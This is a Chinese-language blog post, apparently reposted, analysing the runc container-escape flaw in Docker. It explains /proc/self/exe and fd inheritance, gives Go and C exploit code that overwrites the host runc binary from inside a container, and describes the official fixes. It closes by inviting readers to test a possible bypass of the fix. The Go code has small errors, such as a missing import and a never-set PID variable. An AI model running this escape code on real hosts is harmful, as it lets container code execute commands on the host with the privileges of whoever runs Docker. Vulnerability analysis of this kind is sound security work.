在翻漏洞的偶然看见这个洞,发现很有意思,docker 容器逃逸,出现问题在于docker 里面的runc。runc是docker中最为核心的部分,容器的创建,运行,销毁等等操作最终都将通过调用runc完成。不仅仅是docker会受影响,依赖于runc的应用都会受到影响,该漏洞将会Rewrite runc,执行任意命令,下面我们来看一看它的实现方式。
# proc && execve
`/proc` 是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,linux 下有一个说法一切皆文件,所有在linux上运行的程序都在`/proc`下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等
其中 `/proc/pid/fd` 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。
还一个 `/proc/pid/exe` 文件,这个文件指向进程本身的可执行文件。
除了这些进程pid文件目录内的文件,还有一个比较特别的`/proc/self`,这文件夹始终指向的是访问这个目录`/proc/pid`文件夹,所以除了通过自己的pid号访问进程信息,还可以通过`/proc/self` 来访问,不需要知道自己的pid号。
`execve` 是一个内核系统调用函数,`execve()` 和`fork()`,`clone() `不一样,它不需要启动新的进程,它直接替换当前执行的文件为新的文件,为新的可执行文件分配新初始化的堆栈和数据段。替换可执行文件,意味着释放调用`execve()`文件的IO,但这个过程默认是不释放`/proc/pid/fd`中的打开的文件描述符,如果你在打开/proc/pid/fd中文件的时候,特别的传参`O_CLOEXEC `或者 `FD_CLOEXEC`,那么在`execve `替换进程的时候,将关闭所有设置了这个选项的`fd`,阻止子进程继承父进程打开的`fd`。
# 动态链接
在可执行文件运行的时候,由操作系统的装载程序加载库,比如在linux 下由`ld.so,ld-linux.so` 查找并且装载程序所依赖的动态链接对象。这里有一个需要的注意的
```sh
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe
```
这个时候 `/proc/self/exe` 并不是指向你所想象的那样为 `/bin/ls`, 而是`/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2`
还有一个熟悉的LD_PRELOAD的环境变量,用于指定的动态库加载,优先级最高,可以用他做很多事,这里也可以用到。
# 漏洞成因
尽管docker的本意并不是来做沙盒的,容器包含着虚拟的环境,在虚拟的文件系统里面依然是root 权限,但也是算比较低的权限,也默认了容器的安全性。看似容器独立存在,不可避免的需要去思考这个过程是不是存在问题。
进入正题,runc 完成容器的初始化 ,运行 ,执行命令。我们首先来看看它是如何执行命令的。我们首先启动一个基础的Ubuntu容器
![图片](http://m4p1e.com/assets/img/runc_1.png)
接着在容器里面运行下面监听进程启动程序
```go
package main
import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)
func main() {
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
}
```
![图片](http://m4p1e.com/assets/img/runc_2.png)
上面过程我们通过监听 runc 和 ls 的执行,所以我们只需要执行
```sh
docker exec -it f3c ls
```
监听输出如下图
![图片](http://m4p1e.com/assets/img/runc_3.png)
首先是运行了`docker-runc init`,后执行了`ls`,可以看见过程中pid号没有变,可以想到runc 在启动新的进程的时候用的是`syscall.Exec()` 即`execve(),`在容器里面我们并不能运行docker-runc 因为namespace不一样,容器类的一切都被限定单独的namespace里面,但是你可以看到我是可以访问`/proc`下所有进程的信息,通过遍历/proc,我们可以得到runc 进程的pid号,并且我可以访问这个pid号下所有关于runc 的信息。同样包括runc的执行文件 ->`/proc/pid[runc]/exe,`这意味着我们是不是可以去尝试修改这个可执行文件,答案是不行,因为runc正在运行,如果你试着open 并且写东西进去,你会得到*invalid arguments*。
如果想要写东西覆盖runc 必须等到runc运行结束。什么时候结束? 当`execve()` 运行新可执行文件。但是当runc 结束运行的时候,/proc/pid/exe将会被替换成新二进制可执行文件。所以这个时候去获得一个runc的fd文件描述符,并且保留下来,即 `open() `,` /proc/self/exe`,并返回对应的fd, 这里打开的时候只需要**O_RDONLY**,这个时候你可以去看`/proc/self/fd/`下多了一个runc本身的fd,接着前面说到过,通过`execve`启动的新可执行文件是可以保留父进程打开的fd。
当`execve()` 执行,会首先释放runc的IO ,这个时候就可以去写runc,通过前面打开 `/proc/self/exe` 拿到的fd,找到`/proc/pid/fd/`下对应的fd,这个时候可以用`open(os.O_RDWR) `打开runc,并且写入payload重置runc。
接着需要去思考如何在runc init 的时候去在进程里面进行open操作, 三种方法,分两种情况讨论:
1. 在已经存在容器可以执行文件,通过docker exec 触发
2. 构造恶意的容器,直接通过docker run 触发
第一种情况:
已经在容器里面了,你可以通过前面的方法等待docker-runc init 的执行,`open()` runc 获取fd, 再等待runc IO被释放。其中你可以通过覆盖docker exec 执行的二进制文件为 `#!/proc/self/exe`,到达覆盖之后执行的效果。
比如 /bin/sh
```go
package main
import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)
var payload = "#!/bin/bash \n echo hello > /tmp/funny"
func main() {
fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
//fmt.Println("[+] Waiting docker exec")
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
```
流程可以理解为
循环等待 `runc init`的 PID --> `open("/proc/pid/exe",O_RDONLY)` -->循环等待`execve()`释放 runc的IO并覆盖runc二进制文件 --> `execve() `执行被覆盖 runc。
执行权限任意命令的权限为运行docker exec的权限。
第二种情况:
构造恶意的镜像,在运行容器的时候触发。这个时候你需要考虑,如何hook runc的运行过程,首先想到就是动态链接,可以设置环境变量LD_PRELOAD来给runc 添加一个动态库。这个动态库需要包含一个全局的构造函数,在被加载时候首先执行,即可以通过
```c
#include <stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
__attribute__ ((constructor)) void foo(void)
{
int fd = open("/proc/self/exe", O_RDONLY);
if (fd == -1 ) {
printf("HAX: can‘t open /proc/self/exe\n");
return;
}
printf("HAX: fd is %d\n", fd);
char *argv2[3];
argv2[0] = strdup("/rewrite");
char buf[128];
snprintf(buf, 128, "/proc/self/fd/%d", fd);
argv2[1] = buf;
argv2[2] = 0;
const char *ld_preload = "LD_PRELOAD";
const char *empty = "";
setevn(ld_preload,empty,1)
execve("/rewrite", argv2, NULL);
}
```
q3k 还提到一种方法,替换docker-runc中的动态加载库,这种方法和版本有关,我们可以先看一看docker-runc的动态加载库,
![图片](http://m4p1e.com/assets/img/runc_4.png)
可以看到有一个比较特殊的libseccomp,先去分析一下它的依赖,
![图片](http://m4p1e.com/assets/img/runc_5.png)
直接`apt-get source libseccomp`,seccomp 是linux 下一种安全模式,针对限制程序使用系统调用,PWN选手应该对他属性,很多用来做沙盒的环境,可以简单看一下的它的使用
列一些比较常见调用它的api
`seccomp_init` 初始化过滤状态,
`seccomp_rule_add` 增加过滤规则
`seccomp_load` 应用已经配置好的过滤内容
回到主题,前面说到我们这里可以去替换 `libseccomp.so `,在里面里面同样可以加一个全局的构造函数,在哪加呢? 可以去提供上面接口定义的位置`src/api.c `结尾直接加 。
前面说这种方法有一定的局限的情况,我尝试在低版本的docker-runc 里面是没有加载`libseccomp.so`,那么这种方法就不适用了,当然你也可以选择替换其他的动态库,还有一点q3k 的poc 里用来重写runc的可执行文件有一点小问题,我直接用它的poc时10次成功一次,发现问题出在写runc上,一直报错 Text file buzy , 怎么runc还会被占用呢,难道runc 在容器里又一次运行了?,经过我测试,在使用docker exec 执行命令的时候,容器里面只有 docker-runc init 一次,那么问题肯定出在容器外,由于我不想去看runc 实现过程,我把前面的简单的监测进程的程序再一次放到了容器外,于此同时再用docker exec 执行一次命令,如图下:
![图片](http://m4p1e.com/assets/img/runc_6.png)
果然在容器外面 runc 还会被再次运行,runc state 用来输出docker exec 执行结果,同样也有runc kill 和 runc delete 在后面的运行。所以这个写runc的过程可以在一个循环队列里面。稍微的改了改q3k的rewrite
```c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
int main(int argc, char **argv) {
extern int errno;
const char *poc = "#!/bin/bash \n /usr/bin/touch /root/runc_test";
printf("HAX2: argv: %s\n", argv[1]);
while(1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
if(fd>0){
printf("HAX2: fd: %d\n", fd);
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
return 0;
}
}
return 0;
}
```
可以看到只要重写了runc ,docker 会自动帮你再次运行runc,下面看一看官方,对此的修复方式。
# 修复
官方前前后后修复了很多次,最终可以分为三种方法:
1. memfd
2. tmpfile
3. bind-mount
其中tmpfile 使用文件的方法又可以分为,`open(2)`的 `O_TMPFILE` 和 `mkostemp(3)`.
接下来看看修复流程 ->
根据官方的commit runc/libcontainer/nsenter 多了一个cloned_binary.c,
并且runc/libcontainer/nsenter/nsexec.c 中` nsexec()`多了一行判断
```c
if (ensure_cloned_binary() < 0)
bail("could not ensure we are a cloned binary");
```
根据nsenter 的doc 介绍,这是一个用来在runc init 之前设置namespace用的init 构造器,具体可以看看 nsenter.go 里面的内容
```go
package nsenter
/*
#cgo CFLAGS: -Wall
extern void nsexec();
void __attribute__((constructor)) init(void) {
nsexec();
}
*/
import "C"
```
使用了`cgo`包,根据`cgo`的语法,如果`import "C" `紧跟随在一段注释后面 ,那么注释里面的东西将会被被当做c 执行,即每次只要我们 `import nsenter` 包,就会执行`nsexec()`, nsenter 只在runc/init.go 下被引用,
```go
package main
import (
"os"
"runtime"
"github.com/opencontainers/runc/libcontainer"
_ "github.com/opencontainers/runc/libcontainer/nsenter"
"github.com/urfave/cli"
)
func init() {
if len(os.Args) > 1 && os.Args[1] == "init" {
runtime.GOMAXPROCS(1)
runtime.LockOSThread()
}
}
var initCommand = cli.Command{
Name: "init",
Usage: `initialize the namespaces and launch the process (do not call it outside of runc)`,
Action: func(context *cli.Context) error {
factory, _ := libcontainer.New("")
if err := factory.StartInitialization(); err != nil {
os.Exit(1)
}
panic("libcontainer: container init failed to exec")
},
}
```
可以看到只要执行 runc init的时候,nsexec()就会被执行,现在再具体去看看`ensure_cloned_binary() `,它用来判断`/proc/self/exe `是不是经过处理过,为了防止runc 被重写,官方最开始用的是`memfd_create(2)`,可以用它在内存中创建一个匿名文件,并返回一个文件描述符fd,同时你可以传递一个 **MFD_ALLOW_SEALING flag**,它可以将允许文件密封操作,即将无法修改文件所在的,先将`/proc/self/exe` 写入 这个文件内,再用 `fcntl(2) ` **F_ADD_SEALS**将这段文件内存密封起来。这样一来,你再用open(2),打开`/proc/self/exe`去写,将不会被允许。
同时还有一个` open(2)` **O_TMPFILE** 方法,将`/proc/self/exe` 写入 临时文件,这种方法受限于linux 内核版本问题,需要 >=3.11,而且也受限于
glibc。官方又扩展了另一种`mkostemp(3)`的方法用来写临时文件,没什么特别的。
`上面三种方法都显得比较浪费,`memfd_create(2) 的使用直接往内存写了一个runc 大概 10M,所以官方又提供了一种看起来是最简单的方法,用 `bind-mount`,直接使用 绑定挂载`/proc/self/exe` 到一个只能读的节点上,打开这个节点,再把这个挂载节点去掉。避免了对`/proc/self/exe `拷贝过程,但是和tmpfile 一样,你需要先创建一个临时文件,用来挂载`/proc/self/exe`。
整个逃逸过程精髓在于对 `/proc/pid` 下结构的理解,`/proc/self/exe `指向进程的二进制文件本身,`/proc/self/fd` 可以继承父进程打开的文件描述符。`namespace`限制了很多东西,还有`capabilities`,限制了想通过`/proc/exe/cwd` 拿到runc的真实的路径。runc其实就是管理`libcontainer` 的客户端。问题还是在`libcontainer`上,在官方最后一次commit中,在判断是否经过处理的/proc/self/exe,会有一步判断是否设置了环境变量 **a _LIBCONTAINER_CLONED_BINARY** 标记处理过,如果我先设置这个环境变量会怎么样,有兴趣的朋友去试试。
原文:https://www.cnblogs.com/dream397/p/14032264.html